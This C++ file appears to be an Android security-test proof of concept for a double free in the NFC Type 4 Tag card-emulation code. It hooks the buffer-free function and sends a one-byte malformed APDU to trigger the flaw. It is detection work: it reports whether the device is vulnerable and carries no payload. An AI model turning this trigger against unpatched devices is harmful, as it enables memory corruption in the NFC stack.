/** * Copyright (C) 2022 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include #include #include #include #include "../includes/common.h" extern tNFC_CB nfc_cb; extern tCE_CB ce_cb; static void (*real_GKI_freebuf)(void *ptr) = nullptr; bool isInitialized = false; bool isVulnerable = false; bool isTestInProgress = false; struct myPtr { void *ptr = nullptr; bool isFreed = false; }; struct myPtr vulnerablePtr; void init() { real_GKI_freebuf = (void (*)(void *))dlsym(RTLD_NEXT, "_Z11GKI_freebufPv"); if (!real_GKI_freebuf) { return; } isInitialized = true; } void nfc_start_quick_timer(TIMER_LIST_ENT *, uint16_t, uint32_t) { return; } void nfc_stop_timer(TIMER_LIST_ENT *) { return; } void nfc_stop_quick_timer(TIMER_LIST_ENT *) { return; } void GKI_freebuf(void *ptr) { if (!isInitialized) { init(); } if (isTestInProgress) { if (ptr == vulnerablePtr.ptr) { if (vulnerablePtr.isFreed) { isVulnerable = true; } else { vulnerablePtr.isFreed = true; } } } real_GKI_freebuf(ptr); } void poc_cback(tRW_EVENT, tRW_DATA*) { } int main() { tNFC_ACTIVATE_DEVT p_activate_params = { }; p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP; p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A; RW_SetActivatedTagType(&p_activate_params, &poc_cback); FAIL_CHECK(rw_cb.p_cback == &poc_cback); GKI_init(); FAIL_CHECK(ce_select_t4t() == NFC_STATUS_OK); ce_cb.mem.t4t.selected_aid_idx = CE_T4T_MAX_REG_AID; ce_cb.mem.t4t.status = CE_T4T_STATUS_REG_AID_SELECTED; tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID]; tNFC_CONN *p_data = (tNFC_CONN *) GKI_getbuf(sizeof(tNFC_CONN)); p_data->data.p_data = (NFC_HDR *) GKI_getbuf(sizeof(NFC_HDR) + 1); NFC_HDR *p_c_apdu = (NFC_HDR *) p_data->data.p_data; vulnerablePtr.ptr = p_c_apdu; p_c_apdu->len = 1; p_c_apdu->offset = 0; uint8_t *p = (uint8_t *) (p_c_apdu + 1) + p_c_apdu->offset; p[0] = T4T_CMD_CLASS; isTestInProgress = true; uint8_t conn_id = 1; p_cb->p_cback(conn_id, NFC_DATA_CEVT, p_data); isTestInProgress = false; return (isVulnerable) ? EXIT_VULNERABLE : EXIT_SUCCESS; }